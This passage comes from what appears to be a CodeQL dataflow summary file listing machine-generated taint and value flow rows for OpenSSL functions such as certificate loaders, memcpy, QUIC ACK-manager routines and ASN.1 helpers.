["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "kdf_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "kdf_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "list_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "list_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "load_cert_certs", "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "load_cert_pem", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "load_cert_pem", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "load_cert_pem", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "load_cert_pem", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "load_certs", "(const char *,int,stack_st_X509 **,const char *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "load_certs_multifile", "(char *,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "load_certstore", "(char *,const char *,const char *,X509_VERIFY_PARAM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "load_crls", "(const char *,stack_st_X509_CRL **,const char *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "load_csr_autofmt", "(const char *,int,stack_st_OPENSSL_STRING *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "load_csr_der", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "load_csr_der", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "load_csr_der", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "load_csr_der", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "load_excert", "(SSL_EXCERT **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[*0]", "ReturnValue[*].Field[**dbfname]", "value", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[*1]", "ReturnValue[*].Field[*attributes]", "value", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[0]", "ReturnValue[*].Field[**dbfname]", "taint", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "load_index", "(const char *,DB_ATTR *)", "", "Argument[1]", "ReturnValue[*].Field[*attributes]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[10]", "Argument[*10]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[11]", "Argument[*11]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[12]", "Argument[*12]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "load_key_certs_crls", "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)", "", "Argument[9]", "Argument[*9]", "taint", "dfc-generated"] + - ["", "", True, "load_pkimsg", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "load_pkimsg", "(const char *,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "load_pkimsg", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "load_pkimsg", "(const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "lookup_sess_in_cache", "(SSL_CONNECTION *,const unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "mac_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "mac_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "main", "(int,char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "main", "(int,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "main", "(int,char *[])", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "main", "(int,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "main", "(int,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*0].Field[**id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*0].Field[*id]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "make_uppercase", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "md4_block_data_order", "(MD4_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "md4_block_data_order", "(MD4_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[**1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[**1]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "ReturnValue[**]", "value", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "mempacket_test_inject", "(BIO *,const char *,int,int,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[**0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[**1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "new_pkcs12_builder", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "new_pkcs12_builder", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[*filename]", "value", "dfc-generated"] + - ["", "", True, "next_item", "(char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "next_item", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "next_item", "(char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "next_item", "(char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "next_protos_parse", "(size_t *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "next_protos_parse", "(size_t *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "nseq_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "nseq_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0].Field[*conv_form]", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*].Field[*conv_form]", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "o2i_ECPublicKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "o2i_SCT", "(SCT **,const unsigned char **,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "o2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,size_t)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "o2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,size_t)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "o2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "o2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "o2i_SCT_signature", "(SCT *,const unsigned char **,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ocsp_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ocsp_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "openssl_fopen", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "openssl_fopen", "(const char *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "opt_cipher_any", "(const char *,EVP_CIPHER **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_cipher_silent", "(const char *,EVP_CIPHER **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_help", "(const OPTIONS *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "opt_init", "(int,char **,const OPTIONS *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "opt_int", "(const char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_int", "(const char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_int", "(const char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_long", "(const char *,long *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_long", "(const char *,long *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_md", "(const char *,EVP_MD **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_md_silent", "(const char *,EVP_MD **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_pair", "(const char *,const OPT_PAIR *,int *)", "", "Argument[*1].Field[*retval]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "opt_path_end", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "opt_path_end", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "opt_path_end", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "opt_progname", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "opt_progname", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "opt_ulong", "(const char *,unsigned long *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "opt_ulong", "(const char *,unsigned long *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_DER_w_begin_sequence", "(WPACKET *,int)", "", "Argument[*0].Field[**subs]", "Argument[*0].Field[**subs].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_DER_w_begin_sequence", "(WPACKET *,int)", "", "Argument[*0].Field[*subs]", "Argument[*0].Field[**subs].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_DER_w_bn", "(WPACKET *,int,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_DER_w_octet_string", "(WPACKET *,int,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_DER_w_precompiled", "(WPACKET *,int,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_X509_ALGOR_from_nid", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_X509_ALGOR_from_nid", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_X509_ALGOR_from_nid", "(int,int,void *)", "", "Argument[1]", "ReturnValue[*].Field[**parameter].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_X509_PUBKEY_INTERNAL_free", "(X509_PUBKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ossl_X509_PUBKEY_INTERNAL_free", "(X509_PUBKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_a2i_ipadd", "(unsigned char *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_a2i_ipadd", "(unsigned char *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_a2i_ipadd", "(unsigned char *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_get0_probe_request", "(OSSL_ACKM *)", "", "Argument[*0].Field[*pending_probe]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_ack_deadline", "(OSSL_ACKM *,int)", "", "Argument[*0].Field[*rx_ack_flush_deadline]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_ack_deadline", "(OSSL_ACKM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_ack_frame", "(OSSL_ACKM *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_get_ack_frame", "(OSSL_ACKM *,int)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_get_ack_frame", "(OSSL_ACKM *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_get_largest_acked", "(OSSL_ACKM *,int)", "", "Argument[*0].Field[*largest_acked_pkt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_largest_acked", "(OSSL_ACKM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_loss_detection_deadline", "(OSSL_ACKM *)", "", "Argument[*0].Field[*loss_detection_deadline]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_pto_duration", "(OSSL_ACKM *)", "", "Argument[*0].Field[*rx_max_ack_delay].Field[*t]", "ReturnValue.Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[**1]", "ReturnValue[*].Field[***now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[*1]", "ReturnValue[*].Field[**now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[*2]", "ReturnValue[*].Field[**statm]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[*3]", "ReturnValue[*].Field[**cc_method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[*4]", "ReturnValue[*].Field[**cc_data]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[0]", "ReturnValue[*].Field[*now]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[1]", "ReturnValue[*].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[2]", "ReturnValue[*].Field[*statm]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[3]", "ReturnValue[*].Field[*cc_method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[4]", "ReturnValue[*].Field[*cc_data]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_pkt_space_discarded", "(OSSL_ACKM *,int)", "", "Argument[1]", "Argument[*0].Field[*rx_history]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_pkt_space_discarded", "(OSSL_ACKM *,int)", "", "Argument[1]", "Argument[*0].Field[*tx_history]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_rx_ack_frame", "(OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME)", "", "Argument[2]", "Argument[*0].Field[*largest_acked_pkt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_rx_ack_frame", "(OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME)", "", "Argument[2]", "Argument[*0].Field[*loss_time]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_rx_packet", "(OSSL_ACKM *,const OSSL_ACKM_RX_PKT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_on_tx_packet", "(OSSL_ACKM *,OSSL_ACKM_TX_PKT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_set_ack_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***ack_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_ack_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**ack_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_ack_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*ack_deadline_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_ack_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*ack_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_loss_detection_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***loss_detection_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_loss_detection_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**loss_detection_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_loss_detection_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*loss_detection_deadline_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_loss_detection_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*loss_detection_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_rx_max_ack_delay", "(OSSL_ACKM *,OSSL_TIME)", "", "Argument[1]", "Argument[*0].Field[*rx_max_ack_delay]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_tx_max_ack_delay", "(OSSL_ACKM *,OSSL_TIME)", "", "Argument[1]", "Argument[*0].Field[*tx_max_ack_delay]", "value", "dfc-generated"] + - ["", "", True, "ossl_adjust_domain_flags", "(uint64_t,uint64_t *)", "", "Argument[0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_algorithm_get1_first_name", "(const OSSL_ALGORITHM *)", "", "Argument[*0].Field[**algorithm_names]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_algorithm_get1_first_name", "(const OSSL_ALGORITHM *)", "", "Argument[*0].Field[*algorithm_names]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_encrypt", "(const unsigned char *,unsigned char *,const ARIA_KEY *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_encrypt", "(const unsigned char *,unsigned char *,const ARIA_KEY *)", "", "Argument[*2].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_encrypt", "(const unsigned char *,unsigned char *,const ARIA_KEY *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_set_decrypt_key", "(const unsigned char *,const int,ARIA_KEY *)", "", "Argument[1]", "Argument[*2].Field[*rounds]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_set_encrypt_key", "(const unsigned char *,const int,ARIA_KEY *)", "", "Argument[1]", "Argument[*2].Field[*rounds]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_adb", "(const ASN1_VALUE *,const ASN1_TEMPLATE *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_adb", "(const ASN1_VALUE *,const ASN1_TEMPLATE *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_lock", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_lock", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[*2].Field[**funcs].Field[*ref_offset]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_lock", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_lock", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_init", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_restore", "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_restore", "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_restore", "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_restore", "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_save", "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**0].Field[**enc]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_save", "(ASN1_VALUE **,const unsigned 